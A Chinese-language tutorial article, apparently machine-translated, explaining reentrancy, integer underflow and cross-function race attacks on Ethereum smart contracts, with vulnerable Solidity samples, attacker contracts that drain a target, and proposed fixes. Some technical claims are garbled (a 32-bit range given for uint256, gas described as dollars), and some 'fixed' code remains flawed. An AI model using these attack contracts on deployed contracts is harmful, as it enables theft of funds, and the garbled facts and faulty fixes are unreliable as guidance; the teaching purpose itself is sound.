如果你一直在跟蹤區塊鏈技術,你可能聽說過一兩次智能合約攻擊,這些攻擊導致了價值數千萬美元的加密貨幣資產被盜。最引人注目的攻擊仍然是分散自治組織(DAO),它是加密貨幣史上最受期待的項目之一,也是智能合約革命能力的典型代表。雖然大多數人都聽說過這些攻擊事件,但很少有人真正了解到底出了什么問題,以及如何避免再犯兩次同樣的錯誤。
智能合約是動態的、復雜的、而且它強大到讓人難以置信。雖然它們的潛力是不可想象的,但它也不可能一出現就具備防范攻擊體制。這就是說,我們都應從以前的錯誤中學習,并共同成長。
盡管DAO已經成為過去,但它仍然是開發人員、投資者和社區成員應該熟悉的容易受到智能合約攻擊的一個很好的例子。
無論您是開發人員、投資者還是加密貨幣愛好者,了解這些攻擊將使您對這項有前途的技術有更深的了解。
攻擊#1:重入
當攻擊者通過遞歸調用目標的退出函功能從目標中抽走資金時,就會發生重發式攻擊,DAO就是這種情況。當合約在發送資金前未能更新其狀態(用戶余額)時,攻擊者可以連續調用撤回功能來耗盡合約的資金。只要攻擊者接收到以太幣,攻擊者的合約就會自動調用它的撤回功能,該功能將會被寫入以再次調用撤回的算法中。此時攻擊已經進入遞歸循環,合約的資金開始向攻擊方轉移。由于目標合約被阻止調用攻擊者的撤回功能,該合約永遠不能更新攻擊者的數據。目標合約被騙得以為一切正常。需要說明的是,撤回功能是合約的本質性功能,只要合約接收到以太幣和其他數據,合約就會自動執行它。
此次攻擊的流程
1、攻擊者向目標合約捐贈以太幣
2、目標合約更新攻擊者捐贈以太幣的余額
3、攻擊者要求返還資金
4、資金匯回
5、攻擊者的撤回功能是觸發器,并要求隨后退出
6、智能合約更新攻擊者平衡的邏輯尚未執行,因此再次成功調用撤回
7、資金被發送到攻擊者
8、重復步驟5–7
9.一旦攻擊結束,攻擊者就會把合約上的資金送到他們的個人地址上去。
可重入攻擊的遞歸循環
不幸的是,一旦攻擊開始,就沒有辦法阻止它。攻擊者的撤回功能將被反復調用,直到合約用完或者受害者的以太幣被耗盡。
下面的代碼是易受影響的DAO合同的簡化版本,其中包含評論以更好地理解那些不熟悉編程/可靠性的合同。
contract babyDAO {
/* assign key/value pair so we can look up
credit integers with an ETH address */
mapping (address =》 uint256) public credit;
/* a function for funds to be added to the contract,
sender will be credited amount sent */
function donate(address to) payable {
credit[msg.sender] += msg.value;
}
/*show ether credited to address*/
function assignedCredit(address) returns (uint) {
return credit[msg.sender];
}
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] 》= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;
}
}
}
如果我們看一下這個功能被提取,我們可以看到DAO聯系人使用address.call.value向msg.sender發送資金。不僅如此,合約還更新了資金發出后的信用狀態[msg.sender]。兩者都是大禁忌。認識到合約代碼中的這些漏洞,攻擊者可以使用類似合同的契約ThisAHodlUp{}來清算所有的合約DADO基金。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {
/* assign babyDAO contract as “dao” */
babyDAO public dao = babyDAO(0x2ae.。.);
address owner;
/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
/*fallback function, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.assignedCredit(this));
}
/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}
注意,撤回這一功能,調用的是DAO的撤銷功能,或合約的babyDAO{},以此來從合約中竊取資金。另一方面,在攻擊結束時,如果攻擊者想將所有被盜的以太幣發送到其地址,則會調用撤回功能。
解決之道
到目前為止,可以清楚地看到,重入攻擊利用了兩種特殊的智能合約漏洞。第一種是當合約的狀態在資金發送之后而不是之前更新。由于在發送資金之前沒有更新合同狀態,功能可能在計算過程中被中斷,合約會被誘使認為資金還沒有實際發出。第二個漏洞是當合約錯誤地使用address.call.value來發送資金,而不是安全的錢包地址。transfer或address.send兩者都被限制在需要支付2300美元的津貼,但是僅僅記錄一個事件而不是多個外部調用。
發送資金前更新合約余額發送資金時使用address.transfer()或address.send()
contract babyDAO{
。..。
function withdraw(uint amount) {
if (credit[msg.sender] 》= amount) {
credit[msg.sender] -= amount; /* updates balance first */
msg.sender.send(amount)(); /* send funds properly */
}
}
攻擊2:Underflow
盡管DAO合約沒有成為底層流攻擊的受害者,我們可以利用現有的babyDAO合約{}來更好地理解是如何發生常見攻擊的。
首先,讓我們確認一下uint256是什么。Auint256是一個256位的無符號整數(因為只有正整數)。Ethereum Virtual Machine設計為使用256位作為其字大小,或者一次性使用計算機的CPU處理的位數。由于EVM的大小限制為256位,分配的數字范圍為0到4294967295(22??)。如果我們看一下這個范圍,這個數字被重置到范圍的底部(22??+1=0)。如果我們進入這個范圍,這個數字被重置到范圍的頂端(0–1=22??)。
當我們從零減去一個大于零的數字時,就會產生一個新的整數22??。現在,如果攻擊者的平衡經驗不足,余額將被更新,以便所有的資金都可能被盜。
此次攻擊流程
1、攻擊者通過向目標合約發送1 Wei發起攻擊
2、根據合約,寄件人應將款項匯入
3、隨后同一1 Wei的稱為
4、合約從寄件人的信用證中減去1 Wei,現在余額為零
5、因為目標合約將以太幣發送到攻擊者,所以攻擊者的撤回功能也將觸發并再次調用退出
6.退場記1 Wei
7.攻擊者的合約余額已經更新了兩次,第一次更新為零,第二次更新為-1
8.攻擊者的平衡被重置為22??
9.攻擊者通過提取目標合同中的所有資金完成了攻擊
代碼
import ‘browser/babyDAO’;
contract UnderflowAttack {
babyDAO public dao = babyDAO(0x2ae…);
address owner;
bool performAttack = true;
/*set contract creator as owner*/
function UnderflowAttack{ owner = msg.sender;}
/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}
/*fallback function, results in 0–1 = 2**256 */
function() {
if (performAttack) {
performAttack = false;
dao.withdraw(1);
}
}
/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}
}
解決之道
為了避免成為下溢攻擊的受害者,最佳實踐是檢查更新后的整數是否保持在其字節范圍內。我們可以在代碼中添加一個參數檢查,作為最后一道防線。該功取款第一行是提取檢查是否有足夠的資金,第二行檢查是否溢出,第三行檢查是否有下溢。
contract babysDAO{
。..。
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] 》= amount
&& credit[msg.sender] + amount 》= credit[msg.sender]
&& credit[msg.sender] - amount 《= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}
請注意,我們的上述代碼也會在發送資金之前更新用戶的余額,如前所述。
攻擊3:跨功能競態條件的攻擊
同樣重要的是,跨功能競態條件攻擊。正如我們在Reentrancy攻擊中所討論的,DAO合約未能正確地更新內部合約狀態,因此導致資金被盜。部分DAO和一般的外部調用問題是由于其跨功能競態條件所產生的。
而以太坊中的所有事務都是串聯運行的(一個接一個地運行),因此使用外部調用對另一份合約或另一個地址來說,一旦管理不當,就會災害連連。當兩個功能調用并共享同一狀態時,將發生跨功能競爭情況。該合約就會騙的消費者認為存在的是兩個合約,而實際上只有一個合約。因此,在這個合約的功能函數中,我們不能同時得到X=3和X=4。
讓我們用一個例子來說明這個概念。
攻擊與守則
contract crossFunctionRace{
mapping (address =》 uint) private userBalances;
/* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] 》= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
/* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}
上述合約有兩個職能——一個負責轉移資金,另一個負責提取資金。讓我們假定攻擊者撤回功能傳輸(),同時進行外部撤回功能的退出Balance()。使用Balance[msg.sender]的狀態將被拉向兩個不同的方向。用戶的余額還沒有設置為0,但是攻擊者也能夠轉移資金,盡管它們已經被撤回。在這種情況下合同允許攻擊者花費,區塊鏈技術的目的就是要解決其中的一個問題。
注意:如果這些合同共享狀態,則跨多個合同可能會發生跨職能競爭條件。
1.在調用外部函數之前,首先完成所有內部工作
2.避免打外線電話
3.在不可避免的情況下,將外部撤回功能標記為“不可信”
4.在不可避免的外部撤回時使用互斥體
根據下面的合約,我們可以看到一個合約的例子,1)。在打外部電話之前進行內部工作、2),將所有外部調用函數標記為“不可信”。我們的合約允許資金被發送到一個地址,并允許用戶一次性獎勵最初將資金存入合約中的人。
contract crossFunctionRace{
mapping (address =》 uint) private userBalances;
mapping (address =》 uint) private reward;
mapping (address =》 bool) private claimedReward;
//makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}
//untrusted because withdraw is called, an external call
function untrustedGetReward(address recipient) public {
//check that reward hasn’t already been claimed
require(!claimedReward[recipient]);
//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}
正如我們可以看到的,合約的第一個功能是在向用戶的合約地址發送資金時進行外部調用的。類似地,獎勵功能也使用撤回功能來發送一次性獎勵,因此也是不可信的。同樣重要的是,合約首先執行所有內部工作。與我們的可重入攻擊示例一樣,功能GetReward在允許退出以防止跨功能爭用的情況發生之前,授予用戶一次獎勵的信用。
在一個完美的世界里,智能合約不需要依靠外部調用。事實是,在許多情況下,外部聯通幾乎不可能發揮作用。因此,使用互斥體來“鎖定”某個狀態,并只授予所有者更改狀態的能力,可以幫助避免代價高昂的災難。盡管互斥非常有效,但在用于多個合約時,它們可能會變得很棘手。如果您使用互斥體來保護不受各種條件的影響,那么您需要仔細確保沒有其他方法可以聲明鎖定,并且永遠不會被釋放。如果使用互斥方式,請確保您在與他們簽訂合約時已經徹底了解了潛在的危險(死鎖、活鎖等)。
contract mutexExample{
mapping (address =》 uint) private balances;
bool private lockBalances;
function deposit() payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
/*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
function withdraw(uint amount) payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount 》 0 && balances[msg.sender]
》= amount);
/*lock, execute, unlock*/
lockBalances = true;
if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
}
上面我們可以看到合約mutexExample具有執行功能存款和功能提取的私有鎖狀態。該鎖將阻止用戶在第一次調用完成之前成功地調用撤銷,從而防止出現任何類型的跨功能爭用狀態。
強大的力量同時帶來巨大的責任。盡管區塊鏈和智能合合約術仍在不斷發展,但風險仍然很高。攻擊者還沒有放棄尋找合適的機會,抓住設計糟糕的合約。
評論